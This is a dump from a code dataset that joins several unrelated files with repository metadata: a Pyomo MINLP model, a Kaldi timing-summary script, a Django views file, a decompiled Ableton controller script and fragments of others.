'libcef_dll/cpptoc/write_handler_cpptoc.h', 'libcef_dll/ctocpp/x509cert_principal_ctocpp.cc', 'libcef_dll/ctocpp/x509cert_principal_ctocpp.h', 'libcef_dll/ctocpp/x509certificate_ctocpp.cc', 'libcef_dll/ctocpp/x509certificate_ctocpp.h', 'libcef_dll/ctocpp/xml_reader_ctocpp.cc', 'libcef_dll/ctocpp/xml_reader_ctocpp.h', 'libcef_dll/ctocpp/zip_reader_ctocpp.cc', 'libcef_dll/ctocpp/zip_reader_ctocpp.h', ], }, }
8b53aa085bd20e81eb42d40797d09b3746a16116
130215e73cd45824fc5b7b2bc85949ce03115f20
/py/syn10m02m.py
320e65ea39115ace48776945eb23d5a8a2a61ab1
[]
no_license
felicitygong/MINLPinstances
062634bf709a782a860234ec2daa7e6bf374371e
1cd9c799c5758baa0818394c07adea84659c064c
refs/heads/master
2022-12-06T11:58:14.141832
2022-12-01T17:17:35
2022-12-01T17:17:35
119,295,560
2
1
null
null
null
null
UTF-8
Python
false
false
18,238
py
# MINLP written by GAMS Convert at 11/10/17 15:35:28 # # Equation counts # Total E G L N X C B # 199 15 50 134 0 0 0 0 # # Variable counts # x b i s1s s2s sc si # Total cont binary integer sos1 sos2 scont sint # 111 71 40 0 0 0 0 0 # FX 0 0 0 0 0 0 0 0 # # Nonzero counts # Total const NL DLL # 501 489 12 0 # # Reformulation has removed 1 variable and 1 equation from pyomo.environ import * model = m = ConcreteModel() m.x2 = Var(within=Reals,bounds=(0,40),initialize=0) m.x3 = Var(within=Reals,bounds=(0,40),initialize=0) m.x4 = Var(within=Reals,bounds=(0,None),initialize=0) m.x5 = Var(within=Reals,bounds=(0,None),initialize=0) m.x6 = Var(within=Reals,bounds=(0,None),initialize=0) m.x7 = Var(within=Reals,bounds=(0,None),initialize=0) m.x8 = Var(within=Reals,bounds=(0,None),initialize=0) m.x9 = Var(within=Reals,bounds=(0,None),initialize=0) m.x10 = Var(within=Reals,bounds=(0,None),initialize=0) m.x11 = Var(within=Reals,bounds=(0,None),initialize=0) m.x12 = Var(within=Reals,bounds=(0,None),initialize=0) m.x13 = Var(within=Reals,bounds=(0,None),initialize=0) m.x14 = Var(within=Reals,bounds=(0,None),initialize=0) m.x15 = Var(within=Reals,bounds=(0,None),initialize=0) m.x16 = Var(within=Reals,bounds=(0,None),initialize=0) m.x17 = Var(within=Reals,bounds=(0,None),initialize=0) m.x18 = Var(within=Reals,bounds=(0,None),initialize=0) m.x19 = Var(within=Reals,bounds=(0,None),initialize=0) m.x20 = Var(within=Reals,bounds=(0,None),initialize=0) m.x21 = Var(within=Reals,bounds=(0,None),initialize=0) m.x22 = Var(within=Reals,bounds=(0,None),initialize=0) m.x23 = Var(within=Reals,bounds=(0,None),initialize=0) m.x24 = Var(within=Reals,bounds=(0,30),initialize=0) m.x25 = Var(within=Reals,bounds=(0,30),initialize=0) m.x26 = Var(within=Reals,bounds=(0,None),initialize=0) m.x27 = Var(within=Reals,bounds=(0,None),initialize=0) m.x28 = Var(within=Reals,bounds=(0,None),initialize=0) m.x29 = Var(within=Reals,bounds=(0,None),initialize=0) m.x30 = Var(within=Reals,bounds=(0,None),initialize=0) m.x31 = Var(within=Reals,bounds=(0,None),initialize=0) m.x32 = Var(within=Reals,bounds=(0,None),initialize=0) m.x33 = Var(within=Reals,bounds=(0,None),initialize=0) m.x34 = Var(within=Reals,bounds=(0,None),initialize=0) m.x35 = Var(within=Reals,bounds=(0,None),initialize=0) m.x36 = Var(within=Reals,bounds=(0,None),initialize=0) m.x37 = Var(within=Reals,bounds=(0,None),initialize=0) m.x38 = Var(within=Reals,bounds=(0,None),initialize=0) m.x39 = Var(within=Reals,bounds=(0,None),initialize=0) m.x40 = Var(within=Reals,bounds=(0,None),initialize=0) m.x41 = Var(within=Reals,bounds=(0,None),initialize=0) m.x42 = Var(within=Reals,bounds=(0,None),initialize=0) m.x43 = Var(within=Reals,bounds=(0,None),initialize=0) m.x44 = Var(within=Reals,bounds=(0,None),initialize=0) m.x45 = Var(within=Reals,bounds=(0,None),initialize=0) m.x46 = Var(within=Reals,bounds=(0,None),initialize=0) m.x47 = Var(within=Reals,bounds=(0,None),initialize=0) m.x48 = Var(within=Reals,bounds=(0,None),initialize=0) m.x49 = Var(within=Reals,bounds=(0,None),initialize=0) m.x50 = Var(within=Reals,bounds=(0,None),initialize=0) m.x51 = Var(within=Reals,bounds=(0,None),initialize=0) m.b52 = Var(within=Binary,bounds=(0,1),initialize=0) m.b53 = Var(within=Binary,bounds=(0,1),initialize=0) m.b54 = Var(within=Binary,bounds=(0,1),initialize=0) m.b55 = Var(within=Binary,bounds=(0,1),initialize=0) m.b56 = Var(within=Binary,bounds=(0,1),initialize=0) m.b57 = Var(within=Binary,bounds=(0,1),initialize=0) m.b58 = Var(within=Binary,bounds=(0,1),initialize=0) m.b59 = Var(within=Binary,bounds=(0,1),initialize=0) m.b60 = Var(within=Binary,bounds=(0,1),initialize=0) m.b61 = Var(within=Binary,bounds=(0,1),initialize=0) m.b62 = Var(within=Binary,bounds=(0,1),initialize=0) m.b63 = Var(within=Binary,bounds=(0,1),initialize=0) m.b64 = Var(within=Binary,bounds=(0,1),initialize=0) m.b65 = Var(within=Binary,bounds=(0,1),initialize=0) m.b66 = Var(within=Binary,bounds=(0,1),initialize=0) m.b67 = Var(within=Binary,bounds=(0,1),initialize=0) m.b68 = Var(within=Binary,bounds=(0,1),initialize=0) m.b69 = Var(within=Binary,bounds=(0,1),initialize=0) m.b70 = Var(within=Binary,bounds=(0,1),initialize=0) m.b71 = Var(within=Binary,bounds=(0,1),initialize=0) m.b72 = Var(within=Binary,bounds=(0,1),initialize=0) m.b73 = Var(within=Binary,bounds=(0,1),initialize=0) m.b74 = Var(within=Binary,bounds=(0,1),initialize=0) m.b75 = Var(within=Binary,bounds=(0,1),initialize=0) m.b76 = Var(within=Binary,bounds=(0,1),initialize=0) m.b77 = Var(within=Binary,bounds=(0,1),initialize=0) m.b78 = Var(within=Binary,bounds=(0,1),initialize=0) m.b79 = Var(within=Binary,bounds=(0,1),initialize=0) m.b80 = Var(within=Binary,bounds=(0,1),initialize=0) m.b81 = Var(within=Binary,bounds=(0,1),initialize=0) m.b82 = Var(within=Binary,bounds=(0,1),initialize=0) m.b83 = Var(within=Binary,bounds=(0,1),initialize=0) m.b84 = Var(within=Binary,bounds=(0,1),initialize=0) m.b85 = Var(within=Binary,bounds=(0,1),initialize=0) m.b86 = Var(within=Binary,bounds=(0,1),initialize=0) m.b87 = Var(within=Binary,bounds=(0,1),initialize=0) m.b88 = Var(within=Binary,bounds=(0,1),initialize=0) m.b89 = Var(within=Binary,bounds=(0,1),initialize=0) m.b90 = Var(within=Binary,bounds=(0,1),initialize=0) m.b91 = Var(within=Binary,bounds=(0,1),initialize=0) m.x92 = Var(within=Reals,bounds=(None,None),initialize=0) m.x93 = Var(within=Reals,bounds=(None,None),initialize=0) m.x94 = Var(within=Reals,bounds=(None,None),initialize=0) m.x95 = Var(within=Reals,bounds=(None,None),initialize=0) m.x96 = Var(within=Reals,bounds=(None,None),initialize=0) m.x97 = Var(within=Reals,bounds=(None,None),initialize=0) m.x98 = Var(within=Reals,bounds=(None,None),initialize=0) m.x99 = Var(within=Reals,bounds=(None,None),initialize=0) m.x100 = Var(within=Reals,bounds=(None,None),initialize=0) m.x101 = Var(within=Reals,bounds=(None,None),initialize=0) m.x102 = Var(within=Reals,bounds=(None,None),initialize=0) m.x103 = Var(within=Reals,bounds=(None,None),initialize=0) m.x104 = Var(within=Reals,bounds=(None,None),initialize=0) m.x105 = Var(within=Reals,bounds=(None,None),initialize=0) m.x106 = Var(within=Reals,bounds=(None,None),initialize=0) m.x107 = Var(within=Reals,bounds=(None,None),initialize=0) m.x108 = Var(within=Reals,bounds=(None,None),initialize=0) m.x109 = Var(within=Reals,bounds=(None,None),initialize=0) m.x110 = Var(within=Reals,bounds=(None,None),initialize=0) m.x111 = Var(within=Reals,bounds=(None,None),initialize=0) m.obj = Objective(expr= - m.x2 - m.x3 + 5*m.x14 + 10*m.x15 - 2*m.x24 - m.x25 + 80*m.x40 + 90*m.x41 + 285*m.x42 + 390*m.x43 + 290*m.x44 + 405*m.x45 + 280*m.x46 + 400*m.x47 + 290*m.x48 + 300*m.x49 + 350*m.x50 + 250*m.x51 - 5*m.b72 - 4*m.b73 - 8*m.b74 - 7*m.b75 - 6*m.b76 - 9*m.b77 - 10*m.b78 - 9*m.b79 - 6*m.b80 - 10*m.b81 - 7*m.b82 - 7*m.b83 - 4*m.b84 - 3*m.b85 - 5*m.b86 - 6*m.b87 - 2*m.b88 - 5*m.b89 - 4*m.b90 - 7*m.b91, sense=maximize) m.c2 = Constraint(expr= m.x2 - m.x4 - m.x6 == 0) m.c3 = Constraint(expr= m.x3 - m.x5 - m.x7 == 0) m.c4 = Constraint(expr= - m.x8 - m.x10 + m.x12 == 0) m.c5 = Constraint(expr= - m.x9 - m.x11 + m.x13 == 0) m.c6 = Constraint(expr= m.x12 - m.x14 - m.x16 == 0) m.c7 = Constraint(expr= m.x13 - m.x15 - m.x17 == 0) m.c8 = Constraint(expr= m.x16 - m.x18 - m.x20 - m.x22 == 0) m.c9 = Constraint(expr= m.x17 - m.x19 - m.x21 - m.x23 == 0) m.c10 = Constraint(expr= m.x26 - m.x32 - m.x34 == 0) m.c11 = Constraint(expr= m.x27 - m.x33 - m.x35 == 0) m.c12 = Constraint(expr= m.x30 - m.x36 - m.x38 - m.x40 == 0) m.c13 = Constraint(expr= m.x31 - m.x37 - m.x39 - m.x41 == 0) m.c14 = Constraint(expr=-log(1 + m.x4) + m.x8 + m.b52 <= 1) m.c15 = Constraint(expr=-log(1 + m.x5) + m.x9 + m.b53 <= 1) m.c16 = Constraint(expr= m.x4 - 40*m.b52 <= 0) m.c17 = Constraint(expr= m.x5 - 40*m.b53 <= 0) m.c18 = Constraint(expr= m.x8 - 3.71357206670431*m.b52 <= 0) m.c19 = Constraint(expr= m.x9 - 3.71357206670431*m.b53 <= 0) m.c20 = Constraint(expr=-1.2*log(1 + m.x6) + m.x10 + m.b54 <= 1) m.c21 = Constraint(expr=-1.2*log(1 + m.x7) + m.x11 + m.b55 <= 1) m.c22 = Constraint(expr= m.x6 - 40*m.b54 <= 0) m.c23 = Constraint(expr= m.x7 - 40*m.b55 <= 0) m.c24 = Constraint(expr= m.x10 - 4.45628648004517*m.b54 <= 0) m.c25 = Constraint(expr= m.x11 - 4.45628648004517*m.b55 <= 0) m.c26 = Constraint(expr= - 0.75*m.x18 + m.x26 + m.b56 <= 1) m.c27 = Constraint(expr= - 0.75*m.x19 + m.x27 + m.b57 <= 1) m.c28 = Constraint(expr= - 0.75*m.x18 + m.x26 - m.b56 >= -1) m.c29 = Constraint(expr= - 0.75*m.x19 + m.x27 - m.b57 >= -1) m.c30 = Constraint(expr= m.x18 - 4.45628648004517*m.b56 <= 0) m.c31 = Constraint(expr= m.x19 - 4.45628648004517*m.b57 <= 0) m.c32 = Constraint(expr= m.x26 - 3.34221486003388*m.b56 <= 0) m.c33 = Constraint(expr= m.x27 - 3.34221486003388*m.b57 <= 0) m.c34 = Constraint(expr=-1.5*log(1 + m.x20) + m.x28 + m.b58 <= 1) m.c35 = Constraint(expr=-1.5*log(1 + m.x21) + m.x29 + m.b59 <= 1) m.c36 = Constraint(expr= m.x20 - 4.45628648004517*m.b58 <= 0) m.c37 = Constraint(expr= m.x21 - 4.45628648004517*m.b59 <= 0) m.c38 = Constraint(expr= m.x28 - 2.54515263975353*m.b58 <= 0) m.c39 = Constraint(expr= m.x29 - 2.54515263975353*m.b59 <= 0) m.c40 = Constraint(expr= - m.x22 + m.x30 + m.b60 <= 1) m.c41 = Constraint(expr= - m.x23 + m.x31 + m.b61 <= 1) m.c42 = Constraint(expr= - m.x22 + m.x30 - m.b60 >= -1) m.c43 = Constraint(expr= - m.x23 + m.x31 - m.b61 >= -1) m.c44 = Constraint(expr= - 0.5*m.x24 + m.x30 + m.b60 <= 1) m.c45 = Constraint(expr= - 0.5*m.x25 + m.x31 + m.b61 <= 1) m.c46 = Constraint(expr= - 0.5*m.x24 + m.x30 - m.b60 >= -1) m.c47 = Constraint(expr= - 0.5*m.x25 + m.x31 - m.b61 >= -1) m.c48 = Constraint(expr= m.x22 - 4.45628648004517*m.b60 <= 0) m.c49 = Constraint(expr= m.x23 - 4.45628648004517*m.b61 <= 0) m.c50 = Constraint(expr= m.x24 - 30*m.b60 <= 0) m.c51 = Constraint(expr= m.x25 - 30*m.b61 <= 0) m.c52 = Constraint(expr= m.x30 - 15*m.b60 <= 0) m.c53 = Constraint(expr= m.x31 - 15*m.b61 <= 0) m.c54 = Constraint(expr=-1.25*log(1 + m.x32) + m.x42 + m.b62 <= 1) m.c55 = Constraint(expr=-1.25*log(1 + m.x33) + m.x43 + m.b63 <= 1) m.c56 = Constraint(expr= m.x32 - 3.34221486003388*m.b62 <= 0) m.c57 = Constraint(expr= m.x33 - 3.34221486003388*m.b63 <= 0) m.c58 = Constraint(expr= m.x42 - 1.83548069293539*m.b62 <= 0) m.c59 = Constraint(expr= m.x43 - 1.83548069293539*m.b63 <= 0) m.c60 = Constraint(expr=-0.9*log(1 + m.x34) + m.x44 + m.b64 <= 1) m.c61 = Constraint(expr=-0.9*log(1 + m.x35) + m.x45 + m.b65 <= 1) m.c62 = Constraint(expr= m.x34 - 3.34221486003388*m.b64 <= 0) m.c63 = Constraint(expr= m.x35 - 3.34221486003388*m.b65 <= 0) m.c64 = Constraint(expr= m.x44 - 1.32154609891348*m.b64 <= 0) m.c65 = Constraint(expr= m.x45 - 1.32154609891348*m.b65 <= 0) m.c66 = Constraint(expr=-log(1 + m.x28) + m.x46 + m.b66 <= 1) m.c67 = Constraint(expr=-log(1 + m.x29) + m.x47 + m.b67 <= 1) m.c68 = Constraint(expr= m.x28 - 2.54515263975353*m.b66 <= 0) m.c69 = Constraint(expr= m.x29 - 2.54515263975353*m.b67 <= 0) m.c70 = Constraint(expr= m.x46 - 1.26558121681553*m.b66 <= 0) m.c71 = Constraint(expr= m.x47 - 1.26558121681553*m.b67 <= 0) m.c72 = Constraint(expr= - 0.9*m.x36 + m.x48 + m.b68 <= 1) m.c73 = Constraint(expr= - 0.9*m.x37 + m.x49 + m.b69 <= 1) m.c74 = Constraint(expr= - 0.9*m.x36 + m.x48 - m.b68 >= -1) m.c75 = Constraint(expr= - 0.9*m.x37 + m.x49 - m.b69 >= -1) m.c76 = Constraint(expr= m.x36 - 15*m.b68 <= 0) m.c77 = Constraint(expr= m.x37 - 15*m.b69 <= 0) m.c78 = Constraint(expr= m.x48 - 13.5*m.b68 <= 0) m.c79 = Constraint(expr= m.x49 - 13.5*m.b69 <= 0) m.c80 = Constraint(expr= - 0.6*m.x38 + m.x50 + m.b70 <= 1) m.c81 = Constraint(expr= - 0.6*m.x39 + m.x51 + m.b71 <= 1) m.c82 = Constraint(expr= - 0.6*m.x38 + m.x50 - m.b70 >= -1) m.c83 = Constraint(expr= - 0.6*m.x39 + m.x51 - m.b71 >= -1) m.c84 = Constraint(expr= m.x38 - 15*m.b70 <= 0) m.c85 = Constraint(expr= m.x39 - 15*m.b71 <= 0) m.c86 = Constraint(expr= m.x50 - 9*m.b70 <= 0) m.c87 = Constraint(expr= m.x51 - 9*m.b71 <= 0) m.c88 = Constraint(expr= 5*m.b72 + m.x92 <= 0) m.c89 = Constraint(expr= 4*m.b73 + m.x93 <= 0) m.c90 = Constraint(expr= 8*m.b74 + m.x94 <= 0) m.c91 = Constraint(expr= 7*m.b75 + m.x95 <= 0) m.c92 = Constraint(expr= 6*m.b76 + m.x96 <= 0) m.c93 = Constraint(expr= 9*m.b77 + m.x97 <= 0) m.c94 = Constraint(expr= 10*m.b78 + m.x98 <= 0) m.c95 = Constraint(expr= 9*m.b79 + m.x99 <= 0) m.c96 = Constraint(expr= 6*m.b80 + m.x100 <= 0) m.c97 = Constraint(expr= 10*m.b81 + m.x101 <= 0) m.c98 = Constraint(expr= 7*m.b82 + m.x102 <= 0) m.c99 = Constraint(expr= 7*m.b83 + m.x103 <= 0) m.c100 = Constraint(expr= 4*m.b84 + m.x104 <= 0) m.c101 = Constraint(expr= 3*m.b85 + m.x105 <= 0) m.c102 = Constraint(expr= 5*m.b86 + m.x106 <= 0) m.c103 = Constraint(expr= 6*m.b87 + m.x107 <= 0) m.c104 = Constraint(expr= 2*m.b88 + m.x108 <= 0) m.c105 = Constraint(expr= 5*m.b89 + m.x109 <= 0) m.c106 = Constraint(expr= 4*m.b90 + m.x110 <= 0) m.c107 = Constraint(expr= 7*m.b91 + m.x111 <= 0) m.c108 = Constraint(expr= 5*m.b72 + m.x92 >= 0) m.c109 = Constraint(expr= 4*m.b73 + m.x93 >= 0) m.c110 = Constraint(expr= 8*m.b74 + m.x94 >= 0) m.c111 = Constraint(expr= 7*m.b75 + m.x95 >= 0) m.c112 = Constraint(expr= 6*m.b76 + m.x96 >= 0) m.c113 = Constraint(expr= 9*m.b77 + m.x97 >= 0) m.c114 = Constraint(expr= 10*m.b78 + m.x98 >= 0) m.c115 = Constraint(expr= 9*m.b79 + m.x99 >= 0) m.c116 = Constraint(expr= 6*m.b80 + m.x100 >= 0) m.c117 = Constraint(expr= 10*m.b81 + m.x101 >= 0) m.c118 = Constraint(expr= 7*m.b82 + m.x102 >= 0) m.c119 = Constraint(expr= 7*m.b83 + m.x103 >= 0) m.c120 = Constraint(expr= 4*m.b84 + m.x104 >= 0) m.c121 = Constraint(expr= 3*m.b85 + m.x105 >= 0) m.c122 = Constraint(expr= 5*m.b86 + m.x106 >= 0) m.c123 = Constraint(expr= 6*m.b87 + m.x107 >= 0) m.c124 = Constraint(expr= 2*m.b88 + m.x108 >= 0) m.c125 = Constraint(expr= 5*m.b89 + m.x109 >= 0) m.c126 = Constraint(expr= 4*m.b90 + m.x110 >= 0) m.c127 = Constraint(expr= 7*m.b91 + m.x111 >= 0) m.c128 = Constraint(expr= m.b52 - m.b53 <= 0) m.c129 = Constraint(expr= m.b54 - m.b55 <= 0) m.c130 = Constraint(expr= m.b56 - m.b57 <= 0) m.c131 = Constraint(expr= m.b58 - m.b59 <= 0) m.c132 = Constraint(expr= m.b60 - m.b61 <= 0) m.c133 = Constraint(expr= m.b62 - m.b63 <= 0) m.c134 = Constraint(expr= m.b64 - m.b65 <= 0) m.c135 = Constraint(expr= m.b66 - m.b67 <= 0) m.c136 = Constraint(expr= m.b68 - m.b69 <= 0) m.c137 = Constraint(expr= m.b70 - m.b71 <= 0) m.c138 = Constraint(expr= m.b72 + m.b73 <= 1) m.c139 = Constraint(expr= m.b72 + m.b73 <= 1) m.c140 = Constraint(expr= m.b74 + m.b75 <= 1) m.c141 = Constraint(expr= m.b74 + m.b75 <= 1) m.c142 = Constraint(expr= m.b76 + m.b77 <= 1) m.c143 = Constraint(expr= m.b76 + m.b77 <= 1) m.c144 = Constraint(expr= m.b78 + m.b79 <= 1) m.c145 = Constraint(expr= m.b78 + m.b79 <= 1) m.c146 = Constraint(expr= m.b80 + m.b81 <= 1) m.c147 = Constraint(expr= m.b80 + m.b81 <= 1) m.c148 = Constraint(expr= m.b82 + m.b83 <= 1) m.c149 = Constraint(expr= m.b82 + m.b83 <= 1) m.c150 = Constraint(expr= m.b84 + m.b85 <= 1) m.c151 = Constraint(expr= m.b84 + m.b85 <= 1) m.c152 = Constraint(expr= m.b86 + m.b87 <= 1) m.c153 = Constraint(expr= m.b86 + m.b87 <= 1) m.c154 = Constraint(expr= m.b88 + m.b89 <= 1) m.c155 = Constraint(expr= m.b88 + m.b89 <= 1) m.c156 = Constraint(expr= m.b90 + m.b91 <= 1) m.c157 = Constraint(expr= m.b90 + m.b91 <= 1) m.c158 = Constraint(expr= m.b52 - m.b72 <= 0) m.c159 = Constraint(expr= - m.b52 + m.b53 - m.b73 <= 0) m.c160 = Constraint(expr= m.b54 - m.b74 <= 0) m.c161 = Constraint(expr= - m.b54 + m.b55 - m.b75 <= 0) m.c162 = Constraint(expr= m.b56 - m.b76 <= 0) m.c163 = Constraint(expr= - m.b56 + m.b57 - m.b77 <= 0) m.c164 = Constraint(expr= m.b58 - m.b78 <= 0) m.c165 = Constraint(expr= - m.b58 + m.b59 - m.b79 <= 0) m.c166 = Constraint(expr= m.b60 - m.b80 <= 0) m.c167 = Constraint(expr= - m.b60 + m.b61 - m.b81 <= 0) m.c168 = Constraint(expr= m.b62 - m.b82 <= 0) m.c169 = Constraint(expr= - m.b62 + m.b63 - m.b83 <= 0) m.c170 = Constraint(expr= m.b64 - m.b84 <= 0) m.c171 = Constraint(expr= - m.b64 + m.b65 - m.b85 <= 0) m.c172 = Constraint(expr= m.b66 - m.b86 <= 0) m.c173 = Constraint(expr= - m.b66 + m.b67 - m.b87 <= 0) m.c174 = Constraint(expr= m.b68 - m.b88 <= 0) m.c175 = Constraint(expr= - m.b68 + m.b69 - m.b89 <= 0) m.c176 = Constraint(expr= m.b70 - m.b90 <= 0) m.c177 = Constraint(expr= - m.b70 + m.b71 - m.b91 <= 0) m.c178 = Constraint(expr= m.b52 + m.b54 == 1) m.c179 = Constraint(expr= m.b53 + m.b55 == 1) m.c180 = Constraint(expr= - m.b56 + m.b62 + m.b64 >= 0) m.c181 = Constraint(expr= - m.b57 + m.b63 + m.b65 >= 0) m.c182 = Constraint(expr= - m.b58 + m.b66 >= 0) m.c183 = Constraint(expr= - m.b59 + m.b67 >= 0) m.c184 = Constraint(expr= m.b52 + m.b54 - m.b56 >= 0) m.c185 = Constraint(expr= m.b53 + m.b55 - m.b57 >= 0) m.c186 = Constraint(expr= m.b52 + m.b54 - m.b58 >= 0) m.c187 = Constraint(expr= m.b53 + m.b55 - m.b59 >= 0) m.c188 = Constraint(expr= m.b52 + m.b54 - m.b60 >= 0) m.c189 = Constraint(expr= m.b53 + m.b55 - m.b61 >= 0) m.c190 = Constraint(expr= m.b56 - m.b62 >= 0) m.c191 = Constraint(expr= m.b57 - m.b63 >= 0) m.c192 = Constraint(expr= m.b56 - m.b64 >= 0) m.c193 = Constraint(expr= m.b57 - m.b65 >= 0) m.c194 = Constraint(expr= m.b58 - m.b66 >= 0) m.c195 = Constraint(expr= m.b59 - m.b67 >= 0) m.c196 = Constraint(expr= m.b60 - m.b68 >= 0) m.c197 = Constraint(expr= m.b61 - m.b69 >= 0) m.c198 = Constraint(expr= m.b60 - m.b70 >= 0) m.c199 = Constraint(expr= m.b61 - m.b71 >= 0)
0ec3a612342b6999c627497f0a8788d608044816
8c2de4da068ba3ed3ce1adf0a113877385b7783c
/hyp_utils/kaldi/steps/nnet3/report/summarize_compute_debug_timing.py
5c74eaf128c5da16eeba7964877e3bae00778d07
[ "Apache-2.0" ]
permissive
hyperion-ml/hyperion
a024c718c4552ba3a03aae2c2ca1b8674eaebc76
c4c9eee0acab1ba572843373245da12d00dfffaa
refs/heads/master
2023-08-28T22:28:37.624139
2022-03-25T16:28:08
2022-03-25T16:28:08
175,275,679
55
20
Apache-2.0
2023-09-13T15:35:46
2019-03-12T18:40:19
Python
UTF-8
Python
false
false
4,357
py
#!/usr/bin/env python # Copyright 2016 Vijayaditya Peddinti. # Apache 2.0. # we're using python 3.x style print but want it to work in python 2.x, from __future__ import print_function from __future__ import division import sys import re import argparse # expects the output of nnet3*train with --computation-debug=true # will run faster if just the lines with "DebugAfterExecute" are provided # <train-command> |grep DebugAfterExecute | steps/nnet3/report/summarize_compute_debug_timing.py def GetArgs(): parser = argparse.ArgumentParser(description="Summarizes the timing info from nnet3-*-train --computation.debug=true commands ") parser.add_argument("--node-prefixes", type=str, help="list of prefixes. Execution times from nnet3 components with the same prefix" " will be accumulated. Still distinguishes Propagate and BackPropagate commands" " --node-prefixes Lstm1,Lstm2,Layer1", default=None) print(' '.join(sys.argv), file=sys.stderr) args = parser.parse_args() if args.node_prefixes is not None: raise NotImplementedError # this will be implemented after https://github.com/kaldi-asr/kaldi/issues/944 args.node_prefixes = args.node_prefixes.split(',') else: args.node_prefixes = [] return args # get opening bracket position corresponding to the last closing bracket def FindOpenParanthesisPosition(string): string = string.strip() if string[-1] != ")": # we don't know how to deal with these strings return None string_index = len(string) - 1 closing_parans = [] closing_parans.append(string_index) string_index -= 1 while string_index >= 0: if string[string_index] == "(": if len(closing_parans) == 1: # this opening bracket corresponds to the last closing bracket return string_index else: closing_parans.pop() elif string[string_index] == ")": closing_parans.append(string_index) string_index -= 1 raise Exception("Malformed string: Could not find opening paranthesis\n\t{0}".format(string)) # input : LOG (nnet3-chain-train:DebugAfterExecute():nnet-compute.cc:144) c68: BLstm1_backward_W_i-xr.Propagate(NULL, m6212(3136:3199, 0:555), &m31(0:63, 0:1023)) # output : BLstm1_backward_W_i-xr.Propagate def ExtractCommandName(command_string): # create a concise representation for the the command # strip off : LOG (nnet3-chain-train:DebugAfterExecute():nnet-compute.cc:144) command = " ".join(command_string.split()[2:]) # command = c68: BLstm1_backward_W_i-xr.Propagate(NULL, m6212(3136:3199, 0:555), &m31(0:63, 0:1023)) end_position = FindOpenParanthesisPosition(command) if end_position is not None: command = command[:end_position] # command = c68: BLstm1_backward_W_i-xr.Propagate command = ":".join(command.split(":")[1:]).strip() # command = BLstm1_backward_W_i-xr.Propagate return command def Main(): # Sample Line # LOG (nnet3-chain-train:DebugAfterExecute():nnet-compute.cc:144) c128: m19 = [] | | time: 0.0007689 secs debug_regex = re.compile("DebugAfterExecute") command_times = {} for line in sys.stdin: parts = line.split("|") if len(parts) != 3: # we don't know how to deal with these lines continue if debug_regex.search(parts[0]) is not None: # this is a line printed in the DebugAfterExecute method # get the timing info time_parts = parts[-1].split() assert(len(time_parts) == 3 and time_parts[-1] == "secs" and time_parts[0] == "time:" ) time = float(time_parts[1]) command = ExtractCommandName(parts[0]) # store the time try: command_times[command] += time except KeyError: command_times[command] = time total_time = sum(command_times.values()) sorted_commands = sorted(command_times.items(), key = lambda x: x[1], reverse = True) for item in sorted_commands: print("{c} : time {t} : fraction {f}".format(c=item[0], t=item[1], f=float(item[1]) / total_time)) if __name__ == "__main__": args = GetArgs() Main()
0451ab6c75d806bc370d17a1356de4bb5437faf0
1e0ae1f039668a65e480065d671235fc0fff9b52
/django19day/app01/views/home.py
50e254c58f308631dd25e2745daad307c072c79f
[]
no_license
aixocm/svndata
a4da91c3c9e1d376abfd46e7cecc3c5c2e340e83
ee205301f3a1ce11acef98bba927877cb7c4fb0b
refs/heads/master
2021-01-21T04:39:41.607117
2016-07-01T01:48:36
2016-07-01T01:48:36
47,066,006
0
0
null
null
null
null
UTF-8
Python
false
false
1,184
py
#!/usr/bin/env python # -*- coding:utf-8 -*- from django.shortcuts import render from app01.forms import home as HomeForm from app01 import models def index(request): # models.UserInfo.objects.all().delete() # models.UserInfo.objects.create(name="JJJJJ") # # after = models.UserInfo.objects.all() # print after[0].ctime # dic = {'username':'alex','password':'123'} # models.SimpleModel.objects.create(**dic) ret = models.SimpleModel.objects.all() print ret,type(ret) ret = models.SimpleModel.objects.all().values('username') print ret,type(ret) ret = models.SimpleModel.objects.all().values_list('id','username') print ret,type(ret) obj = HomeForm.ImportForm() return render(request,'home/index.html',{'obj':obj}) def upload(request): if request.method == "POST": inp_post = request.POST inp_files = request.FILES file_obj = inp_files.get('file_name') print file_obj.name print file_obj.size f=open(file_obj.name,'wb') for line in file_obj.chunks(): f.write(line) f.close() return render(request,'home/upload.html')
4eadce987312cc642bf7d10d5855eca2fdd2a8f7
ddd35c693194aefb9c009fe6b88c52de7fa7c444
/Live 10.1.18/novation/transport.py
cc9566884eb4863f6ff57a14a5556297de25949c
[]
no_license
notelba/midi-remote-scripts
819372d9c22573877c7912091bd8359fdd42585d
e3ec6846470eed7da8a4d4f78562ed49dc00727b
refs/heads/main
2022-07-30T00:18:33.296376
2020-10-04T00:00:12
2020-10-04T00:00:12
301,003,961
0
0
null
null
null
null
UTF-8
Python
false
false
2,052
py
# uncompyle6 version 3.7.4 # Python bytecode 2.7 (62211) # Decompiled from: Python 3.8.5 (default, Aug 12 2020, 00:00:00) # [GCC 10.2.1 20200723 (Red Hat 10.2.1-1)] # Embedded file name: c:\Jenkins\live\output\Live\win_64_static\Release\python-bundle\MIDI Remote Scripts\novation\transport.py # Compiled at: 2020-05-05 13:23:29 from __future__ import absolute_import, print_function, unicode_literals from ableton.v2.base import listens from ableton.v2.control_surface.components import TransportComponent as TransportComponentBase from ableton.v2.control_surface.control import ButtonControl, ToggleButtonControl class TransportComponent(TransportComponentBase): play_button = ToggleButtonControl(toggled_color=b'Transport.PlayOn', untoggled_color=b'Transport.PlayOff') capture_midi_button = ButtonControl() def __init__(self, *a, **k): super(TransportComponent, self).__init__(*a, **k) self._metronome_toggle.view_transform = lambda v: b'Transport.MetronomeOn' if v else b'Transport.MetronomeOff' self.__on_can_capture_midi_changed.subject = self.song self.__on_can_capture_midi_changed() @play_button.toggled def _on_play_button_toggled(self, is_toggled, _): if is_toggled: self.song.stop_playing() self.song.is_playing = is_toggled @capture_midi_button.pressed def capture_midi_button(self, _): try: if self.song.can_capture_midi: self.song.capture_midi() except RuntimeError: pass @listens(b'can_capture_midi') def __on_can_capture_midi_changed(self): self.capture_midi_button.color = (b'Transport.Capture{}').format(b'On' if self.song.can_capture_midi else b'Off') def _update_button_states(self): super(TransportComponent, self)._update_button_states() self.continue_playing_button.color = (b'Transport.Continue{}').format(b'Off' if self.song.is_playing else b'On') # okay decompiling /home/deniz/data/projects/midiremote/Live 10.1.18/novation/transport.pyc
55ef072d9d3d47d8603357377794fa880d8688c0
e57d7785276053332c633b57f6925c90ad660580
/sdk/logz/azure-mgmt-logz/azure/mgmt/logz/aio/operations/_tag_rules_operations.py
8b601798141f717456f67ee5e23423c1c3b0e2ff
